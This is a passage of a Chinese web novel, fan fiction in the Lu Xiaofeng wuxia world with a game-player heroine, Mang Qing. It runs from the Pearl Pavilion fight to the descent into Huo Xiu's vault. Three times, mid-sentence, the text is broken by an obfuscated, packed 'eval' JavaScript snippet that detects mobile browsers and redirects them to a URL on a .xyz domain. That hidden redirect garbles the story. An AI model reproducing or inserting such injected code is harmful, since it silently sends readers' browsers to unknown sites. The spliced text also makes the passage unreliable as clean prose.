水阁内的空气似乎也变得稀薄了起来。马行空坐立不安,霍天青却还是一副不露声色的沉稳模样。 芒青的右手握上了刀柄。 对峙许久,阎铁珊眸色一沉,忽然展开手臂,脚尖轻点,急掠而去,口中叫道,“来人!” 立时便有五名阎家护卫飞身而下,手中兵器直指芒青四人。马行空也大喝一声,踏上桌案纵气而来,手中一根大棒虎虎生风。 芒青抽刀而出,径直砍向护卫胸口。他神色大惊,下意识持枪要挡。 长枪的杆子架出去,却只触碰到了一片空气。 长刀被主人一把掷出,刃尖擦着倒霉npc的咽喉而过,带起一捧飞溅的血珠,仍去势不减。 其余两名护卫见此情形,俱都扭转了方向,一个舞刀,一个持棍,虎虎生风,随马行空一起朝着花满楼包夹过去。 被两招撂倒的护卫只觉颈间一凉,下意识捂住了脖子。 长枪脱手,眼看就要落到地上,芒青略一抬腿,脚尖轻挑,枪身便凌空而起,翻转几圈,被她稳稳握住,施力一推,流星般呼啸着追随长刀而走。 两把铁器在空中相撞,擦出一片刺目的火花。 枪身泄了力,径直坠向荷花池中。长刀则硬生生扭转了去势,直奔马行空后心而去。 马行空的招式出到一半,因此不得已与花满楼拉开了距离。 没有他作为遮挡,铁刀霎时朝向了持棍护卫,嵌进了他的右肩。 闻听同伴惨叫,拿刀的人不由大惊,分神之下,手中兵刃愈发没了章法,被花满楼两指一夹而断。 芒青恰好赶到,一脚踩上持棍护卫的脊背,把他压回地面,左手提起持刀护卫的后颈,径直把人掀出了水阁,右手还不忘把刀拔出来。 鲜红的血液溅在她的脸上,带来古怪湿热的黏腻感。芒青不由用舌尖顶了顶腮帮子。 年轻人面颊染血,侧身抬眸之时,浓密如鸦羽般的眼睫在眼下投出一道深浓的阴影,愈发显露出她稠丽的眉眼。 清风送来习习清淡的花香,少年腰间的环佩叮当作响。 马行空的心脏陡然停跳一拍,神情竟像是青天白日里撞见了修罗恶鬼,连连后退,一脚踩空,居然就这样跌倒在地。 两名护卫拖住了司空摘星;霍天青和陆小凤互相牵制,敌不动我不动,正在玩一二三木头人的小游戏。 他们已为珠光宝气阁的大老板争取了足够多的时间。 可阎铁珊依然没能跑掉。 远处,西门吹雪的剑指向了他的咽喉。阎铁珊喘息着、面皮也在不由自主地剧烈抖动,忽然两袖一翻,甩出了数百枚莹润的珍珠。 这些华美的宝物此刻却像是变了一个模样,有着堪比暗器的杀伤之力,噼里啪啦地打在墙柱上,无一不是深深嵌入其中。 西门吹雪的剑精准、狠辣,暖白色的珍珠触碰到乌黑色的长剑,两股气劲冲撞,有的当场崩裂,有的被削成了两截。 当那堵珍珠铸成的屏障消失时,阎铁珊依然还待在原地。 他的胸口洇开了一朵血花,血花的中央是一只剑的剑尖。 珠光宝气阁的大老板仍然没有咽气。杀死他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192350|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,是一个出乎在场所有人预料的姑娘。 上官丹凤。 她不知在池水中潜伏了多久,才等到这个给予敌人致命一击的机会。此刻,她的脸上流露出了一抹复仇的快意。 阎铁珊几乎只剩下了一口气。他看着上官丹凤的脸,眼睛里忽然迸发出了回光返照般的辉芒,“你……不、不……” 上官丹凤恨声道,“不错,我正是金鹏王朝的丹凤公主,今日,我们终于能来清算一下当年的总账了!” 阎铁珊的话骤然卡在了喉咙里,他的脸上属于活人的气息陡然散去了,双目大睁,面孔上有惊惧,也有愤怒。 或许他的确也没有想到,当年失落的小王子会再一次找上了他。 * 苏少卿走了。 他是最先走的那个,司空摘星的目光在读书人的背影上停留片刻,叹了一口气。 西门吹雪走了。 他折断了上官丹凤的剑,拂袖而去。 霍天青也走了。 他带着他所效力之人的遗体,与陆小凤约定了决斗的时间,飞身而走。 上官丹凤却没有离开。 此刻,她正趴在旅店的窗边,百无聊赖地眺望着夜半时分寂静的街道。 忽然,女孩子像是看到了什么,直起身子向外探出了头。 她招了招手,素净的乌发垂落下来,笑语嫣然,“芒青少侠!” 少年人换了一身纯黑的劲装,越发衬得她肩阔腰窄,即使是这样俯瞰的姿势,也依然能看出颀长的身形。 她扬起脑袋,同样朝上官丹凤笑了一下。 芒青三两步跨上旅店的台阶,女孩子已经在楼梯的尽头处等着了。 她背着手,歪头困惑道,“这么晚,你去做什么了?” 芒青“唔”了一声,从前襟里摸出一个造型精致的小袋子。 上官丹凤接在手里,解开封口处的长绳,微微睁大了眼。 那是一只很华丽的珠钗。 她的眼睛落在簪头镶嵌的明珠上,下意识问道,“这是给我的么?” 芒青“嗯”了一声,视线在姑娘的发间一扫而过,“看到觉得很适合你。” 女孩子双手把发簪握住,仰着头,双眸亮晶晶地看着她,“谢谢你,我很喜欢。你真好。” 上官丹凤信手把头发挽起来,金钗推入发中,流苏跟着摇晃,“好看吗?” 芒青认真思索一番,说,“好看。” 女孩子轻轻横她一眼,半是嗔怪半是埋怨地说,“怎么还要想这么久。是不是在诓我?” 少年人反问道,“你喜欢耳铛吗?把它配上会不会更好一些。不过现在也很漂亮。” 上官丹凤微微睁大了眼,“如果我说喜欢,你难道也要给我买吗?” 芒青沉默一瞬,变戏法似的又拿了一个小袋子出来。 这次,姑娘伸出了手,却并没有接过去,而是就这样让面前的年轻人托着袋子,拆起了礼物。 她的指尖勾出了两只耳坠。 珍珠大而圆润,入手只觉沉甸。 上官丹凤的脑袋偏向一边,露出莹白的耳垂,哼道,“我看不见。你帮我戴。” 芒青的指尖托住她的耳廓,耳针弧形的弯钩便被精准地送进了耳洞。 上官丹凤用两只手摸了摸脸,甜笑道,“你怎么知道我喜欢这个,难道真是百宝箱成精了?” 芒青笑了,把她送进客房,“夜深了,早点休息。” 31.第三十一章 * 丹凤公主回房歇息,芒青却没有去睡。 不仅是她,司空摘星、陆小凤和花满楼也同样没有就寝。 桌案上摆了一壶酒,却只有三个杯子。芒青是从不喝酒的。 他们安静地等待着。静谧无人的街道上,不知何时已忽然变得喧嚣了起来,十名装扮迥异、年龄不同、高矮不一的人出现在了这里。 在这条并不算宽阔的后巷中,好似忽然汇聚齐了五湖四海、八教九流。 天禽门掌门名下只有三个徒弟,其中二位已颇有盛名,是江湖武林中人人敬仰的前辈大能;而余下一人,年纪轻轻、武功不俗,如今正在关中珠宝阎家任总管之职。 此人正是霍天青。 这十个不请自来的人俱皆拜在天禽门下为徒,故而虽然他们已年过而立、算得上江湖为人称道的好手,却仍要恭恭敬敬地唤霍天青一声师伯、师爷。 他们此番前来,也正是为了霍天青。 陆小凤鲜少提及自己的武功。除了他自己和看得到等级面板的玩家,再没有第三个人知道灵犀一指的境界究竟已到了什么地步。 纵然霍天青得天禽老人真传,但到底年纪尚轻。二人交手,他的胜算也不过五成。 天禽门的徒弟不想看到师门香火断绝,便只好找上陆小凤了。 这些人胁迫陆小凤,行这样卑鄙的事情,使用的手段却称得上磊落。 因为他们既没有用大道理来绑架,也不是用亲朋的安危去要挟。 他们已做好了用性命让陆小凤改变心意的准备。 一个侠士遇到这样的一群侠士,又有什么话好说、什么事好做呢。 唯有把酒言欢、不醉不归。 * 天色灰蒙蒙的,太阳好似被罩在了一块毛玻璃里。云层像是吸饱了水的厚毛巾,一点点地往下沉坠,直到暴雨终于落了下来。 丹凤公主的打扮一向素净。这并不是因为她不喜欢绫罗环翠,相反,她是一个很爱打扮的女孩子,尤其喜欢漂亮、昂贵的首饰。 与此同时,上官丹凤又是一个很聪明的姑娘,懂得如何能让送礼的人也觉得自己的礼物送得很值。 所以她起床梳洗后,就一直把簪子戴在头上、把耳环挂在耳朵上。 那颗东珠实在足够圆润饱满,即使在以珠宝闻名的阎家,也是极为罕见的。 室内的光线昏暗,更衬得美人笑靥如辉。 陆小凤扶着酒坛的边缘,惺忪地盯着那只一摇一晃的钗环看了一会儿,皱了皱眉,奇怪道,“这是从哪儿来的?” 丹凤公主眸光流转,瞥了芒青一眼。她什么都没说,但眼神已道出了一切。 陆小凤转而看向一旁的年轻人,“你送的?” 芒青把擦刀的软布搁在一边,含笑点一下头。 陆小凤呆呆地瞅着她,“哦”了一声,转瞬又反应过来,“你几时买的?我怎么没看见。难道大半夜还有商铺开着门么?” 芒青把刀插进刀鞘,铁器发出“噌”的一声响,抬手掂了掂钱袋,“如若一个人真心想要去做一件事,无论什么时候,都总是能办成的。” 司空摘星嗓音模糊,“但这世间,拼尽全力也办不成的事情还是很多。” 芒青笑了,并没有反驳。 丹凤公主的视线落在她脸上,少顷,忽然柔声道,“你不认同他说的话么?” “嗯?”芒青发出一个疑惑的单音,稍加思索,反而给出了否定的回答,“不。我很认同。” 但她可是堂堂玩家。 花满楼喝下的酒远没有陆小凤和司空摘星多,此刻却也有了几分醉意。 直至傍晚,暴雨终于止歇,丹凤公主也到了离开的时刻。 阎铁珊身故,霍天青便做主把他的财产留给了金鹏王朝。如今,珠光宝气阁已成为了上官丹凤的产业。 这个喜爱珠宝的女孩子再也不用典当自己的首饰以维持家业和生计,但是,临走前,她还是戴着那支金簪、那对耳铛。 “我会一直把它们带在身上的。等你再来见我。” 芒青点一点头,却并没有如同上官丹凤所料想的那样露出欣喜的神色。 女孩子带着一点气恼和不解,咬了一下嘴唇,瞧了她半晌,终于翻身上马,扬鞭而去。 * 司空摘星找到芒青的时候,她正在钓鱼。 少年人坐在低矮的小马扎上,一双长腿却没有地方安放,只好委屈地抻直了跨在一边。 简陋的竹竿上坠着一根棉线,棉线的顶端绑着一小块馒头。 馒头被水浸湿,已经松散开来,一群灰黑色的鱼苗围在四周,去啄那些已经被泡得泛开的粮食。 司空摘星看了半天,疑惑道,“这样能钓上来鱼么?” 芒青“唔”了一声,下一瞬,鱼苗受惊般四散而去,水面之下,一抹红色的游影浮现。紧接着,鱼竿陡然一沉。 司空摘星“嚯”了一声。玩家一震手臂,轻轻松松把竿子抛了起来。鲤鱼的长尾荡起一片水花。 棉线上没有拴钩,鱼自然也钓不上来,“噗通”一声重新落回了水里。 年轻人慢吞吞地掰下一块馒头往棉线上系,司空摘星摸了摸下巴,笑道,“你这是肉包子打狗,有去没有回。” 芒青也笑了,“等我们准备好烧酒和炉灶,再钓新鲜的活鱼,难道不是更好吗?” 司空摘星在她旁边席地而坐,“我知道一家京城的食肆,那里的厨师做的鱼羹堪称一绝。” 偷王之王悄悄瞄一眼芒青的神色,“等此事了结,我们一起去吃吗?” “好啊。”少年人撑着下巴,微低下头瞧他,“你不是还惦记着御史家的毛笔吗?” 司空摘星一愣,旋即笑起来。 他又往芒青的身边挪了挪,离那片黑色的袍角更近了些许。 …… 天色渐渐暗沉下来。暮色四合,天空是一片饱和度极高的蓝色,树木的枝叶构成深色的剪影,偶尔有几只飞鸟掠过,发出连绵的啼鸣。 湖边的清风变得阴冷起来。芒青坐在一边,撑着竿的不知什么时候变成了司空摘星。 芒青没有说回去,司空摘星便也有一搭没一搭地闲聊着,“独孤一鹤收徒弟的眼光倒准,昨日苏少英虽未出手,观其行止,已很有些名士风范了。” 【玩家已解锁[苏少卿(苏少英)]的真实身份,点击查看详情】 芒青偏头,微微恍然,“苏少卿?” 司空摘星笑道,“不错。此人就是峨眉三英之一。我与他曾有过一面之缘,只是他大抵是不认得我现在的这张脸的,想不到如今竟易了名姓,投到阎家来做客卿了。” 他的话音落下,一道爽朗的男声忽然插了进来,接道,“我也没有想到,你们两个竟然跑到这边来躲清闲。” 司空摘星头也不回,斥道,“陆小鸡,你莫要惊了我的鱼。” 花满楼脚步很轻,安静地坐在芒青的另一边。 陆小凤走到司空摘星身后,看了看这堪称儿戏的鱼饵,咂摸道,“你这猴精又在冒什么坏水?” 司空摘星说,“粗鄙。难道我不能有仿照姜太公的雅兴么?” 陆小凤乐了两声,把这话当屁听了,转而说起先前的话题。 “阎铁珊是昔年的严立本,独孤一鹤大抵确是平独鹤无疑。” 司空摘星也严肃起来,“你有没有注意到珠光宝气阁里侍从的衣服?” 陆小凤说,“青色。” 司空摘星道,“不错。穿青色衣服的侍女不少,可我们此前恰好从大通大智那里得知了一个消息。” “青衣楼第一楼在珠光宝气阁的附近。或许,这个名震江湖的杀手组织的总部,就是珠光宝气阎府。” 司空摘星:“苏少英出现在阎府的宴席上。” 陆小凤:“而大金鹏王告诉我们,独孤一鹤就是青衣楼的首领。” “可若真是如此,霍天青又何必选择我们在场的时候邀请苏少英?” 花满楼接道,“须知方圆八百里,都布有霍总管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199953|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的暗哨。” 陆小凤笑道,“但我们也须知,这位峨眉三英之一的苏少侠并不是阎铁珊的客人,而大老板得知此事后,也出现在了宴席上。” 司空摘星长舒一口气,道,“看来此事霍天青的确并不知情。” 陆小凤站起身,拍了拍身上的草屑,环顾一圈,“这里实在不是说话的好地方,对不对?” 花满楼微笑,“所以我们最好还是去换一个方便说话的好地方。” 司空摘星抖抖鱼竿上的水,随意一折,“最好再叫上西门吹雪。” 陆小凤拍了拍他的肩膀,朗声道,“我们想到一处去了。现在,他大抵已经来了。” * 西门吹雪的确已经来了。来的却不止他一个人。 客栈的大门敞开着,堂里坐着四个人,站着一个人。 站着的人白衣如雪,腰间别着一把漆黑的古老长剑,正是西门吹雪。 坐着的四个人俱都相貌不俗、身姿纤长,自有一股习武之人的风骨。 只消一眼,司空摘星就认出了她们的身份。正是峨眉七剑中的四秀。 她们此番,乃是来替师傅独孤一鹤下请帖的。 独孤一鹤已到了珠光宝气阁。 芒青轻轻挑了一下眉。今天下午,恰好有一个同独孤一鹤存在着血海深仇的人也去了阎府。 紧接着,客栈之中,一道身影掠出了窗去。现在,珠光宝气阁里大概要有第二个想要与峨眉掌门动手的人了。 传达过师傅的邀请,四名来客却没有离开。她们还另有一件私事相询。 苏少英失踪了。 陆小凤凝眉,“大老板死后,苏少侠是第一个离开的。难道他没有去寻你们么?” 马秀珍说,“自从半月前在峨眉分别,我们就再也没有见过师兄了。” 芒青调出系统面板,一眼扫过,忽然蹙了一下眉。 司空摘星低声,“怎么了?” 年轻人静默一瞬,抬手扶住了刀柄,叫了另一个人的名字。 “陆小凤。” 陆小凤回过头,触碰到芒青的眼神,心底陡然涌起了一股不祥的预感。 他听到了少年人的话语。这种预感终于应验。 “西门吹雪去找独孤一鹤了。” * 灵堂很大。烛火摇曳,照亮其中孤零零的棺椁。 棺椁的前面,是许许多多纯白色的帐幔。帐幔前有两个人。 白衣的人仍旧站着,好像与他们在旅馆碰面的时候并无分别。 另一个人倒在了地上。 鲜血汩汩地从他的喉间涌了出来,沾湿了飘荡的白幔。 西门吹雪杀死了独孤一鹤,但他的剑还不足以战胜独孤一鹤。 所以,峨眉掌门并不是被他打败的。 但西门吹雪又的确是杀死独孤一鹤的人。峨眉四秀是一定要为师傅报仇的。 陆小凤阻拦得很及时,西门吹雪也并不想同她们动手。这四个女孩子被安置在了临近的客栈内。 芒青点开系统地图,果然没有在阎府里发现上官丹凤的身影。 陆小凤在询问西门吹雪方才的情形。剑客的神色和声音俱都十分冷凝。 “第三招时,我就已经知道自己没有办法赢过独孤一鹤。” “可你还活着。” 西门吹雪冷声道,“我活着,是因为交手时,他的内力忽然跟不上招式了。” 司空摘星说,“峨眉掌门纵横武林数十载,怎么会出现这样的失误?” 陆小凤沉吟道,“或许并不是失误,而是已有人提前消耗了他的内力。” “难道独孤一鹤此前便同人打过了一场么?……究竟是什么人,在与他这样的大能交过手后还能全身而退,不留一丝痕迹?” 陆小凤说,“武林中,这样的人不多,但也算不得少。” 芒青的目光在他的头顶停留了少顷,歪了一下脑袋,很轻地笑了。 在这里,符合条件的人,恰好就有两个。 32.第三十二章 * 系统页面上,队友的状态栏早已刷新。 玩家的视线从上面一扫而过。 【陆小凤(lv.62) 性别:男 年龄:25 绝技:双飞彩翼、灵犀一指 队友(可变更):芒青、司空摘星、花满楼 好感度:☆☆☆】 【司空摘星(lv.44) 性别:男 年龄:25 绝技:轻功、易容、盗术 队友(可变更):芒青、陆小凤、花满楼 好感度:☆☆☆☆】 【花满楼(lv.50) 性别:男 年龄:25 绝技:听声辨位、流云飞袖、灵犀一指 队友(可变更):芒青、陆小凤、司空摘星 好感度:☆☆☆☆】 芒青:? npc的好感什么时候这么高了。好像没怎么送礼。 其实想送也舍不得。玩家看了看自己锐减的金币余额,不由惆怅望天。 * 霍天青在珠光宝气阁里。因为阎铁珊的灵柩还停在这里,也因为他知道陆小凤一定会来。 夜风卷起纱幔,烛火随之摇曳不休。空旷的大堂之中,似乎也平添了几分鬼魅的阴森。 陆小凤果然到了。他还带来了一连串的人。 江湖上的神偷司空摘星、江南花家的七公子花满楼,还有一名就连霍天青也查不到来历的少年侠客。 芒青的目光落在了他的身上,带来一种古怪的不适感,好似一只正紧盯目标咽喉的大型猎犬。 霍天青敏锐地觉察到了怪异之处的源头,回望过去。年轻人双眼瞥向他发顶,留意到对面人的表情,稍显困惑地坦然一笑,眉宇间毫无阴霾。 霍天青移开了视线,看向自己要等的那个人。 “你来了。” 陆小凤微笑,“我来了。” 听到这样的回答,霍天青也微笑了一下,“我知道你一定会来。” 两个默契又心照不宣的好朋友见面时,似乎总要像这样说上两句没什么营养的话。话说出口,彼此之间的距离和隔阂便也随之消弭。 陆小凤说,“我来,是因为我还有一件事情没有弄清楚。” 霍天青看着那口沉重而华美的棺材,缓缓道,“独孤一鹤死在这里,想必你已清楚了罢。” 陆小凤点头,“不错。我已清楚了。” 霍天青:“那么,独孤一鹤之所以会死,却是与我有关,这件事你可清楚么?” 陆小凤说,“这件事我也是清楚的。” 霍天青问,“你如何清楚?” 陆小凤笑了,他重复了一遍自己不久前刚刚说过的话,“功力能与独孤一鹤旗鼓相当的人不少,但方圆数十里内,我认识的恐怕就只有你一个。” 霍天青说,“很好。这的确是你应该想得明白的。那么,你不清楚的又是什么事情?” 陆小凤笑了。 在昏暗的光线之下,他的笑容仿佛也带上了一点神秘的色彩,“我想问,上官丹凤有没有来过这里。” 霍天青反问,“这里?” “珠光宝气阁。” 霍天青很果断地给出了答复,“没有。” “没有?” “不错。” “但这里已经是她的财产了。” 霍天青说,“她的人虽然没有来,却给你们留下了一封信。” 陆小凤说,“哦?” 司空摘星奇怪道,“上官丹凤的人没有来,你又怎么知道这封信是给我们的?” 霍天青沉声道,“因为我发现这封信的时候,它已经放在了大老板的棺椁上。没有具名,于是我拆开看过。” 姜黄色的信封递出去,陆小凤接在了手里,边缘果然已被人用小刀划开了。信笺上只有寥寥几句话。 “丹凤难求,诸位回头。如不回头,性命难留。”[1] 上官丹凤不仅没有来珠光宝气阎府,她的行踪还成了一个谜题。或许今后的很长一段时间里,芒青一行人都再难见得到她了。 司空摘星嗤笑,“这是什么意思,难道拿尸体吓唬咱们还嫌不足够,又换了新花样不成。” 霍天青道,“你们知道写这封信的人是谁?” 陆小凤道,“我们只知道,此人一定不想让我们再继续插手此事。可是,这个世界上最不想要我们插手这件事的两个人已经死了。” “不。还有一个人。” “是谁?” 霍天青看着陆小凤,说,“或许是我。” 话音落地,陆小凤的神色反而松快下来,朗声笑了,霍天青的后脊却陡然窜上了一股凉意。那股凉意缓缓顺着尾椎爬上了他的肩颈,在咽喉处逡巡流连。 他本能地寻找到了危机的来源。是那个名叫芒青的年轻人。 她的武功的确很不错,三两下就解决了阎铁珊请来的保镖,但还远远没有达到值得霍天青忌惮的程度。 可是此刻,两人目光相触,霍天青看着芒青的神色,再一次感受到了那种古怪的、诡异的、被注视的黏腻感。 少年人的视线从头顶移动到他的脸上,又一次露出了笑容。 霍天青的眼睑不由自主地抽动了一下。 调出系统面板狂按刷新的玩家在百忙之中抽空对npc弯了弯嘴角,可惜数据小人并不怎么领情。 霍天青下意识地回避了芒青的视线,转而将注意力投注到陆小凤的身上。 这件事对于一个从出生起就没有吃过什么苦的天之骄子来说,实在已经有了十分的不寻常。但做出这个举动的人自己却还没有意识到。 “我是珠光宝气阁的总管,大老板已死,倘若金鹏王朝的继承人上官丹凤也同样失去踪迹,这些财产不就会落在我的手里了吗?” 听到这样的话,陆小凤的笑意反而更深了。 花满楼也笑了,“可是,天禽老人的继任者绝不会是这样一个奸邪小人,对不对?” 司空摘星说,“天禽门下的弟子俱是忠义之士,他们的掌门,也一定是一个很值得追随的人。” 霍天青的脸上忽然跟着露出了笑容,阴霾尽散。 他是一个侠士,如今又恰好遇到了一群侠士,于是他们几个也一定是要来喝上两杯酒的。 江湖上的好酒总是消耗得很快,江湖上的儿女也总是喜爱喝酒。一杯火辣辣的烈酒落进肚子里,胸腔里的豪情便激发了出来。 陆小凤摸着杯盏的边缘,忽然笑叹道,“这样的佳酿,我只在一个人那里喝到过。” 霍天青问:“谁?” 陆小凤摸了摸嘴边长出来的胡茬,说,“霍休。” 霍天青说,“很巧,这壶酒也正是他送给我的。” 陆小凤奇道,“难道你们以前很要好?倘若知道你这里有这样的好酒,纵使一路不停不歇,我也是要早来几日的。” 霍天青道,“即使你提前一个月来,我也没有办法用这坛酒招待你。因为酒是我刚刚才从霍休那里拿来的。” 陆小凤讶然,“他如今就在这附近么?” “他就在后山上的小楼里。” 司空摘星问,“小楼?” 霍天青道,“不错。他每年都会过来住上一阵。” 他说着话,肌肉却不由得再一次绷紧了,不动声色地用余光注意着那个名叫芒青的年轻人。 被注视的感觉消失了。少年人托着腮,眉目低敛,不知在想些什么。 听到霍天青的回答,陆小凤竟好似忽然被人抽了一鞭子,陡然从座位上跳了起来。 * 当一个侦探终于碰到了谜题的线索,便是一分一秒都再也坐不下去的,立刻就要去求证一番。 霍天青独自一人走在昏暗的长廊上。他修为极高,故而脚步便同样十足轻巧。 纸窗上透出侍女的剪影,刚刚下职的姑娘三三两两打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205607|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹作一团,欢声笑语。 霍天青目不斜视地从窗边经过。此刻,他已完全沉浸在了自己的思绪里。 忽然,他听到了一声瓷器破碎的脆响。 嬉闹声停了,换成了一阵絮絮的低语。随后,厢房的门被人从内推开,年轻的侍女用手帕包着一只破损的花瓶,小心地走了出来。 霍天青站在阴影里,并没有刻意掩藏身形。只是夜色深浓,因此才无一人发现。 他看着烛火下侍女的表情,陡然之间,有了一种石破天惊般的明悟。 那个自称芒青的年轻人看着他的眼神,正恰似此刻侍女看着花瓶时的样子。 那不是一个人注视着另一个人的目光,而是人望向一只令她有些苦恼,有些困扰的物品的目光。 也是在这一刻,霍天青才终于理解,为什么当初马行空仅仅只和她对视一瞬,便几乎就被吓得魂飞魄散。 * 陆小凤要去找霍休。 阎铁珊和独孤一鹤已死,不想他们再插手此事的,只剩下昔年金鹏王朝的旧臣上官木。 珠光宝气阁的势力涵盖方圆数百里的城镇和土地,霍休的小楼岂不是正在这个范围之内。 如若珠光宝气阎府不是青衣第一楼,那么,最有嫌疑的,便是这栋被建在临近的后山之上的小楼了。 独孤一鹤为青衣楼首领之事只是大金鹏王的一面之词。而一个侦探是很难单凭一个人的证词就做下定断的。 …… 山道蜿蜒曲折、杂草枯枝却修剪得很是干净。 霍休是一个脾气很怪的小老头,他不仅喜欢住在人烟稀少的地方,而且,一旦有除他认可之人以外的不速之客发现他的住所,他就一定会换去另外的产业居住。 下属和亲随们时常因为找不到上司的踪迹而焦头烂额。 这样的一个人是绝不会有伴侣的。而霍休也绝无可能让任何人成为他的伴侣。因为他所修炼的武功,正是不可破戒的童子功。 一轮弦月高高挂在树梢上,冷寂的月色之下,偶尔传来几声鸟类的嘶哑啼鸣,更显得凄清。 林木的遮蔽之下,道路的能见度很低,仿佛一只张开了嘴巴的巨兽,静静地等待着自投罗网的猎物。 霍休的小楼上点着灯烛,烛火幽幽,终于驱散了人们心里的寒意。 有什么东西“咕”地叫了一声,紧接着,灌木摇晃,发出一阵窸窣的沙沙轻响。 四人全都不约而同地停下了脚步,等待少顷,山中重归寂静。 陆小凤不由笑了一下,“猴精,你胆子可真够小的。” 司空摘星立刻抖擞精神,回怼道,“我看你刚刚鸡冠子都差点竖起来了,吓得不轻吧?” …… 拌嘴的功夫,他们已经走到了小楼的下面。 面前的大门上写着一个大字。 【推】 芒青看了一眼,火速存了个档。 陆小凤很顺从地依言将门推了开来。 沉重的门扉翻转,露出后面那条宽阔的长廊。 天花板是拱形的,湿冷的水汽凝结,顺着墙体滑落下来,在青石地砖上汇聚成一处浅滩。 脚步的回声和落水的滴答声交替作响,尽头处是一道分岔路口。 一个继续直行,一个须得转向。 墙边同样写着一个大字。 【转】 陆小凤听话地转了过去。于是他们又往前行走了一阵路途。 长廊的尽头是一座石台,上面写着【停】。 一行人又像是四个小娃娃一般乖巧地停了下来。 司空摘星“啧”了一声,环顾一圈,道,“陆小鸡,你有这么听话?” 陆小凤老神在在地回答,“到了人家的地盘,我们最好还是听话一点。” 司空摘星说,“到了人家的地盘,听人家的话,岂不是上赶着把脖子伸到砧板上?” 话音将将落下,石台忽然剧烈地抖动了起来,载着他们沉入了地底。 33.第三十三章 * 像霍休这样有很多很多数也数不尽的财宝的人,居住的地方一定很隐蔽,也一定很危险。 有钱的人总是不吝于把钱花在保护自己的安危这件事上的。 石台陷进了地下,小楼中果然别有洞天。 他们的面前有四只盛满了酒水的瓷碗,还有一个熟悉的大字。 【喝】 酒香满溢出来,司空摘星和陆小凤这两个爱酒的好朋友都端起了碗,花满楼和芒青却没有动作。 玩家瞥了一眼队友npc的头顶,“不喝吗?” 花满楼微笑,“我的酒量不好,所以并没有那么爱酒。” 芒青“哦”了一声,摸出一枚小小的丹药,递到花满楼面前,“那你吃这个吧。” 【赠送[中级解毒丸1],人物好感度+10】 青年不解地笑了笑,似乎正要询问什么,下一瞬,他的面上陡然失去了血色,表情迷离,脚步也跟着虚浮起来,站不稳似的向前踉跄了两步。 芒青一把扣住花满楼的小臂,将他的身形固定住,强硬地把解毒丸塞进了他的掌心。花满楼喘息着,张嘴咽下了丹药。 道具的效果立竿见影,芒青却没有马上松开支撑着他的手,“还好吗?” 花满楼下意识偏过头去寻找她的声音,闻言轻轻微笑了一下,“我没事了。多谢。” 芒青点一下头,这才放下心来。 npc还得跟玩家一起打怪,可不能寄在半路。 陆小凤收回视线,瞥一眼司空摘星,心底忽然涌起一股莫名的不爽,抬脚踹了他一下。 司空摘星回神,顿时勃然小怒,压低嗓音质问,“你干什么?” 陆小凤同样压低声音道,“我干什么?你眼珠子都快掉过去了!” 司空摘星表情一滞,若无其事地把头撇到了一边。 斗完嘴,陆小凤也没有忘记正事,按照自己早已发现的线索,把碗向前掷了出去。 瓷碗摔在石壁上,一道暗门滑了出来。 走下长长的台阶,他们站在了一座巨大宝库的面前。 宝库里有着许许多多数也数不清的黄金,许许多多数也数不清的珠宝奇石,还有许许多多数也数不清的甲胄兵械。 金币堆成了小山,金条垒成了高墙。一箱一箱的珍珠放在左边,一袋一袋的玉石码在右边。 人站在这其中,居然都被衬托得渺小了。 即使是陆小凤也没有想到,霍休竟会将整座山体掏空,用来储存他的财宝。 在一片几乎夺目得让人睁不开眼的金光之中,摆着四只纯金打造的龙椅,其上坐着四个身披龙袍的老人。 这些老人看到有陌生人出现,便立刻各执一词、唾沫横飞地争论了起来。陆小凤听了两句,发现原来他们每一个人竟然都觉得自己才是真正的大金鹏王。 “大金鹏王们”显然已在这暗无天日的宝库中生活了许久,脸上带着不见阳光的病态蜡黄,神色是遭受过长期囚禁后的癫狂。 跟这样的疯子待在一起,总不会是很好过的。 所以,当陆小凤看到有一条生路落在他眼前的时候,这名只剩两条眉毛的侠客便立刻忙不迭地溜了进去。 他们把那间闪烁着金钱的辉芒的屋子抛在了身后、也把那四个经受折磨的疯子甩在了身后,继续顺着暗门外的长廊行进。 火炬在墙壁上熊熊燃烧,照亮了尽头的人。 正是霍休。 这个干瘪而冷硬的小老头依然穿着一身不怎么起眼的粗布衣服,坐在一张不怎么宽大却很精美的椅子之上。 屋子里有酒壶,霍休的手边有酒杯。 他的确是一个很爱喝酒的人。不仅收藏了很多让人家钦羡的佳酿,还很懂得如何去享受它们。 霍休什么话都没有说,只倒了一杯酒给陆小凤。陆小凤也什么都没有说,只是坐在了他的对面。 许久,老人叹了一口气。 “我并没有想到你能走到这里来。” 陆小凤说,“哦?” 